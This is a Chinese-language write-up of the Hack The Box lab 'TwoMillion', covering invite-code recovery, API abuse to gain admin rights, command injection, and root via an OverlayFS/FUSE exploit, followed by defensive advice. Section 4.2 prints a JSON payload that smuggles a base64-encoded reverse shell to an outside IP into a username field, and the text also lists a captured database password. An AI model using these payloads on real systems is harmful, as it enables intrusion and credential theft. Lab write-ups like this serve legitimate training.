HTB-TwoMillion-WriteUp
字数 1264 2025-08-29 22:41:44

HTB-TwoMillion 渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

  • 使用 nmap 进行常规扫描,识别开放端口和服务
  • 将目标域名添加到 /etc/hosts 文件中进行解析

1.2 Web应用分析

  • 访问 /invite 页面
  • 查看 /register 页面
  • 检查 invite.min.js 文件,发现混淆的JavaScript代码

2. 邀请码获取

2.1 代码分析

通过分析 invite.min.js 发现两个关键函数:

function i(code) {
    var formData = {"code": code};
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) { console.log(response); },
        error: function(response) { console.log(response); }
    });
}

function j() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) { console.log(response); },
        error: function(response) { console.log(response); }
    });
}

2.2 获取邀请码生成方法

  1. 访问 /api/v1/invite/how/to/generate API端点
  2. 对返回的URL进行ROT13解密
  3. 访问解密后的URL获取验证码
  4. 对验证码进行Base64解密,得到邀请码:2ZCUD-A5QRI-DQYWM-0VXDF

2.3 注册账户

使用获取的邀请码完成注册并登录

3. 权限提升至管理员

3.1 API接口枚举

  • 搜集并分析所有可访问的API接口
  • 重点关注 /api/v1/admin/ 路径下的接口

3.2 管理员权限获取

  1. 不断尝试访问 /api/v1/admin/settings/update 接口
  2. 根据返回信息调整请求数据
  3. 最终将普通账户成功升级为管理员账户

4. 命令注入攻击

4.1 发现注入点

  • 使用 /api/v1/admin/vpn/generate 接口
  • 注入点在 username 参数
  • 推测后台使用PHP语言,可能使用 exec()system() 函数执行命令

4.2 构造Payload

{
    "username": "test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yOS8xMjM0IDA+JjE= | base64 -d | bash;"
}

其中Base64解码后为:bash -i >& /dev/tcp/10.10.16.29/1234 0>&1

4.3 获取数据库凭据

通过命令注入成功获取数据库密码:78c9bd6f9e0c4b9defdbae37d7e91828

5. 系统访问与横向移动

5.1 SSH登录

使用获取的数据库密码通过SSH登录系统

5.2 初步枚举

  • 上传 linpeas.sh 进行系统枚举
  • 发现 pkexec 没有SUID权限,无法直接用于提权

6. 权限提升至root

6.1 线索发现

  • 检查 /var/mail 发现提示:
    "That one in OverlayFS / FUSE looks nasty. We can't get popped by that."
    

6.2 漏洞利用

  1. 搜索 OverlayFS / FUSE 相关漏洞
  2. 找到并复现对应的exploit
  3. 成功获取root权限

7. 关键知识点总结

  1. API枚举与分析:通过分析JavaScript文件发现隐藏API端点
  2. 编码技术:ROT13和Base64编码的识别与解码
  3. 权限提升技巧:通过API接口滥用提升账户权限
  4. 命令注入:识别注入点并构造有效Payload
  5. 系统提权:利用文件系统漏洞(OverlayFS/FUSE)进行提权

8. 防御建议

  1. 对API接口实施严格的权限控制
  2. 避免在前端暴露敏感API端点信息
  3. 对用户输入进行严格过滤,防止命令注入
  4. 及时更新系统组件,修补已知漏洞
  5. 避免在系统提示中泄露可能被利用的信息
HTB-TwoMillion 渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用 nmap 进行常规扫描,识别开放端口和服务 将目标域名添加到 /etc/hosts 文件中进行解析 1.2 Web应用分析 访问 /invite 页面 查看 /register 页面 检查 invite.min.js 文件,发现混淆的JavaScript代码 2. 邀请码获取 2.1 代码分析 通过分析 invite.min.js 发现两个关键函数: 2.2 获取邀请码生成方法 访问 /api/v1/invite/how/to/generate API端点 对返回的URL进行ROT13解密 访问解密后的URL获取验证码 对验证码进行Base64解密,得到邀请码: 2ZCUD-A5QRI-DQYWM-0VXDF 2.3 注册账户 使用获取的邀请码完成注册并登录 3. 权限提升至管理员 3.1 API接口枚举 搜集并分析所有可访问的API接口 重点关注 /api/v1/admin/ 路径下的接口 3.2 管理员权限获取 不断尝试访问 /api/v1/admin/settings/update 接口 根据返回信息调整请求数据 最终将普通账户成功升级为管理员账户 4. 命令注入攻击 4.1 发现注入点 使用 /api/v1/admin/vpn/generate 接口 注入点在 username 参数 推测后台使用PHP语言,可能使用 exec() 或 system() 函数执行命令 4.2 构造Payload 其中Base64解码后为: bash -i >& /dev/tcp/10.10.16.29/1234 0>&1 4.3 获取数据库凭据 通过命令注入成功获取数据库密码: 78c9bd6f9e0c4b9defdbae37d7e91828 5. 系统访问与横向移动 5.1 SSH登录 使用获取的数据库密码通过SSH登录系统 5.2 初步枚举 上传 linpeas.sh 进行系统枚举 发现 pkexec 没有SUID权限,无法直接用于提权 6. 权限提升至root 6.1 线索发现 检查 /var/mail 发现提示: 6.2 漏洞利用 搜索 OverlayFS / FUSE 相关漏洞 找到并复现对应的exploit 成功获取root权限 7. 关键知识点总结 API枚举与分析 :通过分析JavaScript文件发现隐藏API端点 编码技术 :ROT13和Base64编码的识别与解码 权限提升技巧 :通过API接口滥用提升账户权限 命令注入 :识别注入点并构造有效Payload 系统提权 :利用文件系统漏洞(OverlayFS/FUSE)进行提权 8. 防御建议 对API接口实施严格的权限控制 避免在前端暴露敏感API端点信息 对用户输入进行严格过滤,防止命令注入 及时更新系统组件,修补已知漏洞 避免在系统提示中泄露可能被利用的信息